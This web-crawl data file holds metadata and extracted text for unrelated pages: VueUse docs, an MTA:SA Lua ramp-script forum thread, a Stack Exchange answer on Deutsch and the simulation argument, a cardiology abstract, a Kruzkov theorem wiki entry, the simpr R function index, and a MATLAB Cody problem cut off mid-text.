{"ft_lang_label":"__label__zh","ft_lang_prob":0.88764304,"math_prob":0.9996418,"size":236,"snap":"2019-26-2019-30","text_gpt3_token_len":280,"char_repetition_ratio":0.03448276,"word_repetition_ratio":0.0,"special_character_ratio":0.22033899,"punctuation_ratio":0.0,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99985766,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-06-16T12:52:11Z\",\"WARC-Record-ID\":\"<urn:uuid:31106b86-c6e7-4c8f-bf96-d63b693ea761>\",\"Content-Length\":\"23803\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:e4de1f4d-3f7a-4b80-9bc6-adbd1e684674>\",\"WARC-Concurrent-To\":\"<urn:uuid:7d6a8fdc-9feb-4d58-a8e9-2050b893be2c>\",\"WARC-IP-Address\":\"111.73.45.147\",\"WARC-Target-URI\":\"http://www.jmmoxiang.com/chuzhongfudao/xuexizhinan/2014-08-15/112883.html\",\"WARC-Payload-Digest\":\"sha1:D7KXFVJRBLV2RG2KRTJGLMAJAEO7GYBS\",\"WARC-Block-Digest\":\"sha1:VULLD6GFEYWGLNDMNMXEOQM3Q4HLK7GI\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-26/CC-MAIN-2019-26_segments_1560627998238.28_warc_CC-MAIN-20190616122738-20190616144738-00178.warc.gz\"}"}
https://v7-7-1.vueuse.org/ecosystem	[ "# Ecosystem #\n\nWhile developing VueUse, we extract the tools we are using into separate projects that can be used standalone from time to time.\n\n##", null, "Vue Demi is a tool for library authors to create composable libraries that work for Vue 2 and 3 isomorphically just like VueUse. It has been widely adopted by many popular libraries like `vuelidate` and `vue-promised`.\n\n##", null, "Vue Chemistry utilizes the `reactify`function and applies it to common JavaScript APIs, which enables a pure reactive programming experience. For example:\n\n``````import { set } from 'vue-chemistry'\nimport * as console from 'vue-chemistry/console'\nimport { pow, sqrt, sum } from 'vue-chemistry/math'\n\n// _________\n// c = √ a² + b²\nconst a = ref(3)\nconst b = ref(4)\nconst c = sqrt(sum(pow(a, 2), pow(b, 2)))\nconsole.log(c) // 5\n\nset(a, 5) // shorthand for a.value = 5\nset(b, 12)\nconsole.log(c) // 13\n``````\n``````import { set } from 'vue-chemistry'\nimport * as console from 'vue-chemistry/console'\nimport { pow, sqrt, sum } from 'vue-chemistry/math'\n\n// _________\n// c = √ a² + b²\nconst a = ref(3)\nconst b = ref(4)\nconst c = sqrt(sum(pow(a, 2), pow(b, 2)))\nconsole.log(c) // 5\n\nset(a, 5) // shorthand for a.value = 5\nset(b, 12)\nconsole.log(c) // 13\n``````" ]	[ null, "https://github.com/vueuse/vue-demi/raw/master/assets/banner.png", null, "https://github.com/vueuse/vue-chemistry/raw/main/res/hero.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.60108835,"math_prob":0.9125145,"size":1174,"snap":"2023-40-2023-50","text_gpt3_token_len":345,"char_repetition_ratio":0.15213676,"word_repetition_ratio":0.5714286,"special_character_ratio":0.32282794,"punctuation_ratio":0.1173913,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9929919,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-11-28T19:50:11Z\",\"WARC-Record-ID\":\"<urn:uuid:3f4298e0-42d8-46bc-8671-7431bf31a387>\",\"Content-Length\":\"51627\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b8f7c53a-9cb7-4146-8c84-1795f35a5346>\",\"WARC-Concurrent-To\":\"<urn:uuid:f04ccd57-3db6-46a6-a44d-723f20806e41>\",\"WARC-IP-Address\":\"3.212.91.35\",\"WARC-Target-URI\":\"https://v7-7-1.vueuse.org/ecosystem\",\"WARC-Payload-Digest\":\"sha1:TXQFHCA2C3FDIB32J4GUVU6O3EXIAHO5\",\"WARC-Block-Digest\":\"sha1:TXKQXKKB2USGOEPZFJXJI6ESV74WO3QR\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679099942.90_warc_CC-MAIN-20231128183116-20231128213116-00687.warc.gz\"}"}
https://forum.mtasa.com/topic/24423-whats-wrong-ramp/?tab=comments	[ "## Recommended Posts\n\nHello,\n\nI'm creating a script when i press 1 there comes a ramp\n\nBut what's wrong?\n\n```function ramp(command)\nlocal x,y,z = getElementPosition(source)\nlocal xx,yy,zz = getElementRotation(source)\ncreateObject ( 1632, x, y, z + 10, xx, yy, zz +10 )\nend\n\nbindKey( \"1\", \"down\", ramp)\n```\n\nhttp://wiki.multitheftauto.com/wiki/BindKey\n\nand this:\n\nIn both you should use first argument in hander function to get position and rotation - becouse its the element that caused to fire that function.\n\nThere is no \"source\" in both.\n\nJust replace \"command\" with something more suitable like: playerElement\n\nand replace all \"source\" with playerElement also\n\n```\nfunction ramp1(player,command)\nlocal x,y,z = getElementPosition(player)\nlocal xx,yy,zz = getElementRotation(player)\ncreateObject ( 1632, x, y, z + 10, xx, yy, zz +10 )\nend\n\nfunction ramp2(key,state)\nlocal x,y,z = getElementPosition(source)\nlocal xx,yy,zz = getElementRotation(source)\ncreateObject ( 1632, x, y, z + 10, xx, yy, zz +10 )\nend\nbindKey( \"1\", \"down\", ramp2)\n\n```\n\n```\nfunction ramp1(player,command)\nlocal x,y,z = getElementPosition(player)\nlocal xx,yy,zz = getElementRotation(player)\ncreateObject ( 1632, x, y, z + 10, xx, yy, zz +10 )\nend\n\nfunction ramp2(key,state)\nlocal x,y,z = getElementPosition(source)\nlocal xx,yy,zz = getElementRotation(source)\ncreateObject ( 1632, x, y, z + 10, xx, yy, zz +10 )\nend\nbindKey( \"1\", \"down\", ramp2)\n\n```\n\nDont work\n\nA player only has a Z-rotation, since it can't be rotated along the Z- or Y-axis. Since it's a ramp, I assume that the player is in a vehicle.\n\nYou gotta check if the player is in a vehicle and if he is, you get the position and rotation of that vehicle:\n\n```function ramp1(p) -- open a function with \"p\" defined as the player\nlocal v = getPedOccupiedVehicle ( p ) -- get the player's vehicle\nif v then -- does the player's vehicle exist (is he in a vehicle?)\nlocal x, y, z = getElementPosition ( v ) -- get the vehicle's position\nlocal rx, ry, rz = getVehicleRotation ( v ) -- get the vehicle's rotation\ncreateObject ( 1632, x, y, z+10, rx, ry, rz ) -- create the object using the vehicle's position and rotation\nend\nend\nbindKey( \"1\", \"down\", ramp2)\n```\n\nI don't know why you want to create a ramp 10 meter above the player's vehicle, but that's your side of the story.\n\nA player only has a Z-rotation, since it can't be rotated along the Z- or Y-axis. Since it's a ramp, I assume that the player is in a vehicle.\n\nYou gotta check if the player is in a vehicle and if he is, you get the position and rotation of that vehicle:\n\n```function ramp1(p) -- open a function with \"p\" defined as the player\nlocal v = getPedOccupiedVehicle ( p ) -- get the player's vehicle\nif v then -- does the player's vehicle exist (is he in a vehicle?)\nlocal x, y, z = getElementPosition ( v ) -- get the vehicle's position\nlocal rx, ry, rz = getVehicleRotation ( v ) -- get the vehicle's rotation\ncreateObject ( 1632, x, y, z+10, rx, ry, rz ) -- create the object using the vehicle's position and rotation\nend\nend\nbindKey( \"1\", \"down\", ramp2)\n```\n\nI don't know why you want to create a ramp 10 meter above the player's vehicle, but that's your side of the story.\n\nDont work \"WARNING: Bad argument @ bindkey tring-defined-function\" I want the ramp not above me", null, "Ah, the \"p\" shouldn't be there in the parameters of the ramp1 function: since the script is clientside (no keypresser defined in \"bindKey\") the keypresser can only be the local player:\n\n```p = getLocalPlayer()\nfunction ramp1()\nlocal v = getPedOccupiedVehicle ( p ) -- get the player's vehicle\nif v then -- does the player's vehicle exist (is he in a vehicle?)\nlocal x, y, z = getElementPosition ( v ) -- get the vehicle's position\nlocal rx, ry, rz = getVehicleRotation ( v ) -- get the vehicle's rotation\ncreateObject ( 1632, x, y, z+10, rx, ry, rz ) -- create the object using the vehicle's position and rotation\nend\nend\nbindKey( \"1\", \"down\", ramp1)\n```\n\nAlso, the function in \"bindKey\" wasn't present in the script (it was \"ramp2\" and that should have been \"ramp1\").\n\nAs for creating an object in front of something, you should check out \"getElementMatrix\":\n\nhttp://wiki.multitheftauto.com/wiki/GetElementMatrix\n\nERROR file.lua:1: attempt to call global 'getLocalPlayer' ( a nil value)\n\nset script as \"client\" in meta.xml file" ]	[ null, "https://forum.mtasa.com/uploads/emoticons/laugh.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.5104499,"math_prob":0.9471575,"size":369,"snap":"2019-43-2019-47","text_gpt3_token_len":110,"char_repetition_ratio":0.101369865,"word_repetition_ratio":0.0,"special_character_ratio":0.30623305,"punctuation_ratio":0.20779221,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95334697,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-18T14:35:55Z\",\"WARC-Record-ID\":\"<urn:uuid:9d1e0eb7-172a-4343-8e06-ad717f2da0fe>\",\"Content-Length\":\"106656\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:13b949ec-f1f4-4a04-8e50-9fd4ab656a02>\",\"WARC-Concurrent-To\":\"<urn:uuid:06dddf3d-b973-4e50-a44d-63fb4e5a3f37>\",\"WARC-IP-Address\":\"91.121.44.90\",\"WARC-Target-URI\":\"https://forum.mtasa.com/topic/24423-whats-wrong-ramp/?tab=comments\",\"WARC-Payload-Digest\":\"sha1:3XYPDEEWTSVPPTQ6GNNSYFZUGBBGMAQJ\",\"WARC-Block-Digest\":\"sha1:EFRJGRSDYG6HEWUDUYLLYOK64P634TLG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496669795.59_warc_CC-MAIN-20191118131311-20191118155311-00007.warc.gz\"}"}
https://philosophy.stackexchange.com/questions/2159/what-role-does-counting-histories-play-in-deutschs-critique-of-the-simulatio	[ "# What role does “counting histories” play in Deutsch's critique of the “simulation argument”?\n\nIn his book The Beginning of Infinity, David Deutsch argues that there is a problematic assumption behind the simulation argument that \"virtually all instances of us are in ... simulations and not in the original world\" since\n\ncounting the number of instances of oneself is no guide to the probability one ought to use ... We should be counting histories not instances.\n\nWhat is meant by the distinction between histories and instances and how does that distinction create problems for the simulation hypothesis?\n\n• Can you provide a bit more context on that quote? – Joseph Weissman Feb 9 '12 at 4:00\n\n(This is a rather old question, but I'm just picking up the book and having a look. The quote is on p. 454 of my copy of the book.)\n\nHis analogy is with puff pastry.", null, "This is my interpretation of what Deutsch wrote:\n\nSuppose we are only given that we are somewhere (on a layer) in the puff pastry. What is the probability that we are somewhere in a layer (instance) above a small circle around some (x, y) in the horizontal plane?\n\nHe argues that in physics (QM), this probability is provided by counting histories (paths, via layers, from anywhere to any and all layers above (x, y)) by measure, and not by the (relative) number of layers above (x, y)), which (the latter) would typically give you the wrong physical answer.\n\nHe further argues 1) that the simulation argument should likewise ignore the number of layers (since we know from QM that that's wrong), and 2) that it doesn't have a known way of counting simulations/histories. Therefore, the simulation argument hinges on an open problem.\n\n• The argument more generally is that there is no preferred way of counting members of an infinite set unless the laws of physics explain why that measure should be used. See pp. 176-184 in BoI. – alanf Apr 11 '16 at 10:38" ]	[ null, "https://i.stack.imgur.com/xNQ3u.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.93284243,"math_prob":0.8957815,"size":510,"snap":"2020-34-2020-40","text_gpt3_token_len":91,"char_repetition_ratio":0.1403162,"word_repetition_ratio":0.0,"special_character_ratio":0.18235295,"punctuation_ratio":0.1,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97170466,"pos_list":[0,1,2],"im_url_duplicate_count":[null,5,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-22T13:48:13Z\",\"WARC-Record-ID\":\"<urn:uuid:91e907a4-b577-4368-81b5-c10963d7b074>\",\"Content-Length\":\"148407\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:db39dbfc-498a-4a0b-b07e-5a5b86419641>\",\"WARC-Concurrent-To\":\"<urn:uuid:e3fe33d4-a1c4-4c62-b01a-552f97f7ae98>\",\"WARC-IP-Address\":\"151.101.1.69\",\"WARC-Target-URI\":\"https://philosophy.stackexchange.com/questions/2159/what-role-does-counting-histories-play-in-deutschs-critique-of-the-simulatio\",\"WARC-Payload-Digest\":\"sha1:SZXPZKKYB6MSNQF7BAPOYFVSQBGHZW75\",\"WARC-Block-Digest\":\"sha1:F5XIXX22SXC525IUFIANOKQHMARPH6VX\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600400206133.46_warc_CC-MAIN-20200922125920-20200922155920-00648.warc.gz\"}"}
https://profiles.wustl.edu/en/publications/assessment-of-the-end-systolic-pressure-volume-relationship-in-hu	[ "# Assessment of the end-systolic pressure-volume relationship in human beings with the use of a time-varying elastance model\n\nR. G. McKay, J. M. Aroesty, G. V. Heller, H. D. Royal, S. E. Warren, W. Grossman\n\nResearch output: Contribution to journalArticlepeer-review\n\n65 Scopus citations\n\n## Abstract\n\nThe analysis of left ventricular end-systolic pressure-volume relationships in human beings has been hindered by the lack of a practical method of serial volume assessment and by an imprecise definition of end-systole. Modifications of the end-systolic relationship that have been used to circumvent these problems have included the use of single-point end-systolic pressure-volume ratios, the use of peak systolic pressure/minimum ventricular volume points for end-systolic points, and the use of end-ejection as a marker for end-systole. To assess the correlation between the parameters generated by these modifications with the slope (E(max)) and volume intercept (V(o)) of the end-systolic line as defined by Sagawa's model of time-varying elastance, simultaneous measurement of left ventricular pressure and gated radionuclide volume was made in 26 patients under various loading conditions and pressure-volume diagrams were constructed for each loading condition from 32 simultaneous pressure-volume coordinates. Two pressure-volume diagrams were recorded in 14 patients and three pressure-volume diagrams were recorded in 12 patients. E(max) and V(o) were determined in all patients from the slope and volume intercept of the isochronic pressure-volume line with the maximum time-varying elastance as described by Sagawa's model and were designated true E(max) and true V(o), respectively. True E(max) was subsequently correlated with three estimates of E(max) computed from a single-point end-systolic ratio (r = .76, SEE = 1.53, p < .001), from peak systolic pressure/minimum systolic volume points (r = .87, SEE = 0.67, p < .001), and from end-ejection pressure-volume points marked by peak negative dP/dt (r = .91, SEE = 0.57, p < .001). It is concluded that the parameters E(max) and V(o) of a time varying elastance model of the end-systolic pressure-volume relationship can be constructed for man with the use of simultaneous left ventricular pressure measurements and gated radionuclide ventriculography, and that true E(max) calculated by this method is reasonably approximated by single-point pressure-volume ratios and peak systolic and end-ejection measurements.\n\nOriginal language English 97-104 8 Circulation 74 1 https://doi.org/10.1161/01.CIR.74.1.97 Published - Jan 1 1986\n\n## Fingerprint\n\nDive into the research topics of 'Assessment of the end-systolic pressure-volume relationship in human beings with the use of a time-varying elastance model'. Together they form a unique fingerprint." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9124272,"math_prob":0.8980453,"size":4921,"snap":"2023-40-2023-50","text_gpt3_token_len":1181,"char_repetition_ratio":0.16798861,"word_repetition_ratio":0.8581267,"special_character_ratio":0.23592766,"punctuation_ratio":0.1015625,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9503635,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-22T13:09:14Z\",\"WARC-Record-ID\":\"<urn:uuid:9bb730f7-cd2f-4a7d-9f28-3c8ea982fb45>\",\"Content-Length\":\"51231\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cc5cc580-0e48-4894-acd8-3b268f1cf991>\",\"WARC-Concurrent-To\":\"<urn:uuid:e046ed5f-20d9-4e54-a4e0-8cecd1e628be>\",\"WARC-IP-Address\":\"3.90.122.189\",\"WARC-Target-URI\":\"https://profiles.wustl.edu/en/publications/assessment-of-the-end-systolic-pressure-volume-relationship-in-hu\",\"WARC-Payload-Digest\":\"sha1:VJO343H7KOVNV7FHY2A2DRSTLSZW3JKQ\",\"WARC-Block-Digest\":\"sha1:TLK6OLZOZCRMRNVTUKDRKZHDMYOWXJJY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233506399.24_warc_CC-MAIN-20230922102329-20230922132329-00241.warc.gz\"}"}
https://cfd-online.com/Wiki/Kruzkov_theorem	[ "# Kruzkov theorem\n\nThe scalar Cauchy problem", null, "$u_t + f(u)_x = 0, \\ \\ \\ f \\in C^1(\\mathbb{R})$\n\nwith initial condition", null, "$u(0,x) = u_o(x), \\ \\ \\ u_o \\in L^\\infty(\\mathbb{R})$\n\nhas a unique entropy solution", null, "$u \\in L^\\infty(\\mathbb{R}_+ \\times \\mathbb{R})$\n\nwhich fulfills (important for numerics)\n\n• Stability", null, "$\|\| u(t, \\cdot)\|\|_{L^\\infty} \\le \|\| u_o \|\|_{L^\\infty}, \\mbox{ a.e. in } t \\in \\mathbb{R}_+$\n• Monotone solution: If", null, "$u_o \\ge v_o$ a.e. in", null, "$\\mathbb{R}$ then", null, "$u(t, \\cdot) \\ge v(t, \\cdot) \\ \\ \\ \\mbox{ a.e. in } \\mathbb{R}, \\mbox{ a.e. in } t \\in \\mathbb{R}_+$\n• TV-diminishing: If", null, "$u_o \\in BV(\\mathbb{R})$ then", null, "$u(t, \\cdot) \\in BV(\\mathbb{R}) \\ \\ \\ \\textrm{ and } \\ \\ \\ TV(u(t, \\cdot)) \\le TV(u_o)$\n• Conservation: If", null, "$u_o \\in L^1(\\mathbb{R})$ then", null, "$\\int_{\\mathbb{R}} u(t,x) d x = \\int_\\mathbb{R} u_o(x) d x, \\ \\ \\ \\mbox{ a.e. in } t \\in \\mathbb{R}_+$\n• Finite domain of dependence: If", null, "$u, v$ are two entropy solutions, corresponding to initial conditions", null, "$u_o, v_o \\in L^\\infty$ and", null, "$M = \\max\\{ \| f^\\prime(\\phi) \| : \| \\phi \| \\le \\max( \|\|u_o\|\|_{L^\\infty}, \|\|v_o\|\|_{L^\\infty}) \\}$\n\nthen", null, "$\\int_{\|x\| \\le R} \| u(t,x) - v(t,x) \| d x \\le \\int_{\|x\| \\le R + Mt} \| u_o(x) - v_o(x) \| d x$" ]	[ null, "https://cfd-online.com/W/images/math/f/5/8/f589e8bff41d4b909f7bf17f9521acc1.png ", null, "https://cfd-online.com/W/images/math/f/0/7/f07f734a4d3957f0ed0a0811e95e8ab0.png ", null, "https://cfd-online.com/W/images/math/3/e/c/3ecbe6cdafc97d46520c268f4885a3d6.png ", null, "https://cfd-online.com/W/images/math/0/1/3/013a8073c1aa51ccd5debfb7947671b2.png ", null, "https://cfd-online.com/W/images/math/5/7/2/5726521d938bcf2dfa19386822c6b850.png ", null, "https://cfd-online.com/W/images/math/6/9/a/69a45f1e602cd2b2c2e67e41811fd226.png ", null, "https://cfd-online.com/W/images/math/b/d/3/bd3ad11d30dc5d67c9f60eca92180949.png ", null, "https://cfd-online.com/W/images/math/4/6/1/461e000b4ff2145d4d5f2d30c40bcdfe.png ", null, "https://cfd-online.com/W/images/math/e/8/9/e89c6668c2dd5a3411f9f9776a082bba.png ", null, "https://cfd-online.com/W/images/math/7/7/f/77f7012bd2a28ce942f6202090c6c6b7.png ", null, "https://cfd-online.com/W/images/math/c/f/7/cf7153dafdca12dee8b2afb42ba1d6c3.png ", null, "https://cfd-online.com/W/images/math/7/0/3/703f259d2f1a609d112d61c642e0f17d.png ", null, "https://cfd-online.com/W/images/math/6/f/6/6f638aa806a1347c6d7a07497a0a209e.png ", null, "https://cfd-online.com/W/images/math/1/c/2/1c2c33bd820e747efb467ea7a1750bfe.png ", null, "https://cfd-online.com/W/images/math/1/e/4/1e4c11c049d9534fe1aa75aec9af7037.png ", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.63690287,"math_prob":1.0,"size":353,"snap":"2021-43-2021-49","text_gpt3_token_len":90,"char_repetition_ratio":0.12893982,"word_repetition_ratio":0.0,"special_character_ratio":0.19546743,"punctuation_ratio":0.118644066,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000097,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30],"im_url_duplicate_count":[null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,2,null,1,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-11-28T02:06:41Z\",\"WARC-Record-ID\":\"<urn:uuid:adc6b9c4-7467-4d2c-b97e-3624cae00a8b>\",\"Content-Length\":\"39042\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f97f6816-5c13-4471-a455-236b633522bc>\",\"WARC-Concurrent-To\":\"<urn:uuid:42e7822b-bfa4-4e85-8a36-c8f431d8bb94>\",\"WARC-IP-Address\":\"148.251.250.42\",\"WARC-Target-URI\":\"https://cfd-online.com/Wiki/Kruzkov_theorem\",\"WARC-Payload-Digest\":\"sha1:EUOTQYY65QORYNSCZAYQPZJQZVHCILKA\",\"WARC-Block-Digest\":\"sha1:CXIUTXIOD3NBGHFVLOZR34NIIVTOXNUR\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964358443.87_warc_CC-MAIN-20211128013650-20211128043650-00049.warc.gz\"}"}
https://statisfactions.github.io/simpr/reference/index.html	[ "## All functions\n\napply_fits()\n\nRun a given function or formula expression on a simpr_mod object and tidy the output.\n\ndefine()\n\nDefine metaparameters to vary in simulation\n\nfit(<simpr_tibble>) fit(<simpr_spec>)\n\nFit models to the simulated data\n\ngenerate(<simpr_spec>)\n\nGenerate simulated data from specification\n\nglance_fits()\n\nCreate tibble of model \"glances\" (summaries)\n\nper_sim()\n\nWork directly with simulation results with dplyr and tidyr\n\nprint(<simpr_spec>) new_simpr_spec() is.simpr_spec()\n\nMethods for simpr_spec class\n\nspecify(<formula>)\n\nSpecify data-generating mechanisms\n\ntidy_fits()\n\nTidy fits into a tidy tibble\n\nadd_count(<simpr_sims>) add_count(<simpr_spec>) anti_join(<simpr_sims>) anti_join(<simpr_spec>) arrange_(<simpr_sims>) arrange_(<simpr_spec>) arrange(<simpr_sims>) arrange(<simpr_spec>) as.tbl(<simpr_sims>) as.tbl(<simpr_spec>) auto_copy(<simpr_sims>) auto_copy(<simpr_spec>) collect(<simpr_sims>) collect(<simpr_spec>) compute(<simpr_sims>) compute(<simpr_spec>) count(<simpr_sims>) count(<simpr_spec>) distinct_(<simpr_sims>) distinct_(<simpr_spec>) distinct(<simpr_sims>) distinct(<simpr_spec>) do_(<simpr_sims>) do_(<simpr_spec>) do(<simpr_sims>) do(<simpr_spec>) dplyr_col_modify(<simpr_sims>) dplyr_col_modify(<simpr_spec>) dplyr_reconstruct(<simpr_sims>) dplyr_reconstruct(<simpr_spec>) dplyr_row_slice(<simpr_sims>) dplyr_row_slice(<simpr_spec>) filter_(<simpr_sims>) filter_(<simpr_spec>) filter(<simpr_sims>) filter(<simpr_spec>) full_join(<simpr_sims>) full_join(<simpr_spec>) group_by_(<simpr_sims>) group_by_(<simpr_spec>) group_by(<simpr_sims>) group_by(<simpr_spec>) group_data(<simpr_sims>) group_data(<simpr_spec>) group_indices_(<simpr_sims>) group_indices_(<simpr_spec>) group_indices(<simpr_sims>) group_indices(<simpr_spec>) group_keys(<simpr_sims>) group_keys(<simpr_spec>) group_map(<simpr_sims>) group_map(<simpr_spec>) group_modify(<simpr_sims>) group_modify(<simpr_spec>) group_nest(<simpr_sims>) group_nest(<simpr_spec>) group_size(<simpr_sims>) group_size(<simpr_spec>) group_split(<simpr_sims>) group_split(<simpr_spec>) group_trim(<simpr_sims>) group_trim(<simpr_spec>) group_vars(<simpr_sims>) group_vars(<simpr_spec>) groups(<simpr_sims>) groups(<simpr_spec>) inner_join(<simpr_sims>) inner_join(<simpr_spec>) intersect(<simpr_sims>) intersect(<simpr_spec>) left_join(<simpr_sims>) left_join(<simpr_spec>) mutate_(<simpr_sims>) mutate_(<simpr_spec>) mutate(<simpr_sims>) mutate(<simpr_spec>) n_groups(<simpr_sims>) n_groups(<simpr_spec>) nest_by(<simpr_sims>) nest_by(<simpr_spec>) nest_join(<simpr_sims>) nest_join(<simpr_spec>) pull(<simpr_sims>) pull(<simpr_spec>) relocate(<simpr_sims>) relocate(<simpr_spec>) rename_(<simpr_sims>) rename_(<simpr_spec>) rename_with(<simpr_sims>) rename_with(<simpr_spec>) rename(<simpr_sims>) rename(<simpr_spec>) right_join(<simpr_sims>) right_join(<simpr_spec>) rows_delete(<simpr_sims>) rows_delete(<simpr_spec>) rows_insert(<simpr_sims>) rows_insert(<simpr_spec>) rows_patch(<simpr_sims>) rows_patch(<simpr_spec>) rows_update(<simpr_sims>) rows_update(<simpr_spec>) rows_upsert(<simpr_sims>) rows_upsert(<simpr_spec>) rowwise(<simpr_sims>) rowwise(<simpr_spec>) same_src(<simpr_sims>) same_src(<simpr_spec>) sample_frac(<simpr_sims>) sample_frac(<simpr_spec>) sample_n(<simpr_sims>) sample_n(<simpr_spec>) select_(<simpr_sims>) select_(<simpr_spec>) select(<simpr_sims>) select(<simpr_spec>) semi_join(<simpr_sims>) semi_join(<simpr_spec>) setdiff(<simpr_sims>) setdiff(<simpr_spec>) setequal(<simpr_sims>) setequal(<simpr_spec>) slice_(<simpr_sims>) slice_(<simpr_spec>) slice_head(<simpr_sims>) slice_head(<simpr_spec>) slice_max(<simpr_sims>) slice_max(<simpr_spec>) slice_min(<simpr_sims>) slice_min(<simpr_spec>) slice_sample(<simpr_sims>) slice_sample(<simpr_spec>) slice_tail(<simpr_sims>) slice_tail(<simpr_spec>) slice(<simpr_sims>) slice(<simpr_spec>) summarise_(<simpr_sims>) summarise_(<simpr_spec>) summarise(<simpr_sims>) summarise(<simpr_spec>) tally(<simpr_sims>) tally(<simpr_spec>) tbl_vars(<simpr_sims>) tbl_vars(<simpr_spec>) transmute_(<simpr_sims>) transmute_(<simpr_spec>) transmute(<simpr_sims>) transmute(<simpr_spec>) ungroup(<simpr_sims>) ungroup(<simpr_spec>) union_all(<simpr_sims>) union_all(<simpr_spec>) union(<simpr_sims>) union(<simpr_spec>) complete_(<simpr_sims>) complete_(<simpr_spec>) complete(<simpr_sims>) complete(<simpr_spec>) drop_na_(<simpr_sims>) drop_na_(<simpr_spec>) drop_na(<simpr_sims>) drop_na(<simpr_spec>) expand_(<simpr_sims>) expand_(<simpr_spec>) expand(<simpr_sims>) expand(<simpr_spec>) extract_(<simpr_sims>) extract_(<simpr_spec>) extract(<simpr_sims>) extract(<simpr_spec>) fill_(<simpr_sims>) fill_(<simpr_spec>) fill(<simpr_sims>) fill(<simpr_spec>) gather_(<simpr_sims>) gather_(<simpr_spec>) gather(<simpr_sims>) gather(<simpr_spec>) nest_legacy(<simpr_sims>) nest_legacy(<simpr_spec>) nest(<simpr_sims>) nest(<simpr_spec>) pivot_longer(<simpr_sims>) pivot_longer(<simpr_spec>) pivot_wider(<simpr_sims>) pivot_wider(<simpr_spec>) replace_na(<simpr_sims>) replace_na(<simpr_spec>) separate_(<simpr_sims>) separate_(<simpr_spec>) separate_rows_(<simpr_sims>) separate_rows_(<simpr_spec>) separate_rows(<simpr_sims>) separate_rows(<simpr_spec>) separate(<simpr_sims>) separate(<simpr_spec>) spread_(<simpr_sims>) spread_(<simpr_spec>) spread(<simpr_sims>) spread(<simpr_spec>) unite_(<simpr_sims>) unite_(<simpr_spec>) unite(<simpr_sims>) unite(<simpr_spec>) unnest_legacy(<simpr_sims>) unnest_legacy(<simpr_spec>) unnest(<simpr_sims>) unnest(<simpr_spec>)\n\nSimpr methods for tidyverse verbs\n\nwhole_tibble()\n\nConvert a simpr_sims object back to a simpr_tibble" ]	[ null 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https://nl.mathworks.com/matlabcentral/cody/problems/44513	[ "Cody\n\n# Problem 44513. Add all the numbers between two limits (inclusive)\n\nIn this problem you must add up \"all of the numbers\" between two specified limits, a and b, in which ab. However, the practical interpretation of \"all of the numbers\" will depend upon the specified data type, dt.\n\nMathematically speaking, if a < b then the required sum constitutes an infinite series that does not converge (i.e. the required sum would be infinity). For example, if a=1 and b=2 then we could capture some of those numbers through the series lim n→∞ ⁿ∑ᵢ₌₁{1 + (1/i)} = lim n→∞ {n + ⁿ∑ᵢ₌₁(1/i)} ≈ lim n→∞ {n + γ + ln(n)}, using properties of the harmonic series in the last approximation.\n\nBut MATLAB cannot represent numbers with infinite precision. In fact, the precision is determined by the specified data type. For instance, if dt = 'single', then with a=1 and b=2 the summation would comprise the series {(1) + (1+1×2⁻²³) + (1+2×2⁻²³) + (1+3×2⁻²³) + ... + (2−2×2⁻²³) + (2−1×2⁻²³) + (2)} = 12582913.5, which is finite.\n\nAnother example:\n\n``` % INPUT\na = 10\nb = 12\ndt = 'int16'\n% OUTPUT\ns = 33 % = 10 + 11 +12```\n\nSo please add up all the numbers between two limits (inclusive), subject to the precision indicated by the specified data type.\n\nNOTE 1: Terminal values a and b are whole numbers in every case (albeit implicitly defined as of the 